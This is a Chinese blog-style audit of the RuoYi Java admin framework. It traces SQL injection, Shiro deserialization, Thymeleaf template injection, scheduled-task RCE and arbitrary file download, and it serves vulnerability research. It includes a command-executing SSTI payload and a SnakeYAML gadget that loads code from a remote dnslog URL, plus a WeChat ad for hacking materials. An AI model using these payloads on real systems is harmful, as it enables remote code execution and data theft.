環境佈置:
到官網下載原始碼:https://github.com/yangzongzhuan/RuoYi
採用phpstudy整合資料庫,5.7版本。JDK1.8。
IDEA開啟專案,等待自動載入,修改application-druid.yml配置檔案:資料庫名,賬號密碼,連線資料庫,修改application.yml中的埠,避免與80埠衝突。
匯入:quartz.sql與ry_20201214.sql檔案。
執行RuoYiApplication檔案。
訪問後臺:http://localhost:25001/login
Sql注入漏洞:
由於該專案採用了mybatis開發,常見的找sql注入的方法就是全域性搜尋${
定位到可疑引數:
根據id值selectRoleList全域性搜尋,從xml定位到dao層:
右鍵單擊,找該介面的使用,在使用處發現selectRoleList方法,全域性搜尋該方法,定位controller層檢視介面與傳參:
如下,定位到controller層:
分析程式碼:首先以@RequiresPermissions註解表明介面訪問許可權,再以@PostMapping註解表明接收介面,並且以@ResponseBody註解表明回將返回值寫入http響應。
此方法會接收一個SysRole型別的role值,並且將接受的role值以selectRoleList方法處理後返回給list,最後返回給http響應。
【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
於是我們現在需要分析
1:role物件在接收它的引數時是否有過濾,
2:selectRoleList方法在處理role接收後的值是否有過濾。
跟進SysRole類,發現無過濾:
跟進selectRoleList方法,發現無過濾:
於是確定原dataScope引數存在sql注入,到前端功能找對應資料包。
發現不存在dataScope引數,手動新增:
將localhost換成主機IP,放入sqlmap驗證
Shiro反序列化:
首先檢視專案pom檔案,發現shiro版本為1.7.0:
全域性搜尋cipherKey,定位到金鑰值:
由此結合shiro反序列化利用工具利用。
Shiro未授權訪問:
檢視shiro配置檔案ShiroConfig.java,anon為匿名攔截器,不需要登入就能訪問。authc為登入攔截器,需要登入認證才能訪問。
Thymeleaf模板注入:
本框架採用了 Thymeleaf 模板,全域性搜尋::
根據Mapping構造路徑,傳送poc
fragment=__*%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
計劃任務RCE:
如圖新增計劃任務
將呼叫目標字元修改如下:
org.yaml.snakeyaml.Yaml.load(\'!!javax.script.ScriptEngineManager
\[!!java.net.URLClassLoader \[\[!!java.net.URL
\[\"http://w2h0ib.dnslog.cn\"\]\]\]\]\')
呼叫執行:
dnslog出現響應:
任意檔案下載漏洞:
繼續如上建立定時任務:
ruoYiConfig.setProfile(\'/home/clown/Project/RuoYi-v4.6.0/ruoyi-admin/src/main/resources/application.yml\')
執行後訪問如下路徑實現檔案下載:
/common/download/resource?resource=.zip
跟蹤下載路徑定位程式碼:
該處程式碼先接收resource的值,再將該值放入checkAllowDownload方法裡面校驗後,進入下載檔案的程式碼呼叫。
於是跟進checkAllowDownload方法:
發現該方法主要做了兩件事:
1:禁止掉resource中的目錄穿越../
2:以白名單形式檢查檔案下載規則
這裡主要跟進一下2的程式碼:
取點字尾:
再以點字尾進行白名單匹配:
如果在原controller層if判斷為假,進入下載檔案程式碼流程:
至此可發現下載檔案的路徑不可控,且型別存在白名單限制!
此時我們繼續跟進本地資源路徑的程式碼:
我們可以發現本地資源路徑是透過getProfile進行獲取,且該RuoYiConfig類存在setProfile方法,由此可知,可以透過計劃任務呼叫該類的setProfile方法設定好路徑,直接繞過了前面的if過濾:
之後即可呼叫/common/download/resource介面任意下載檔案。
更多網安技能的線上實操練習,請點選這裡>>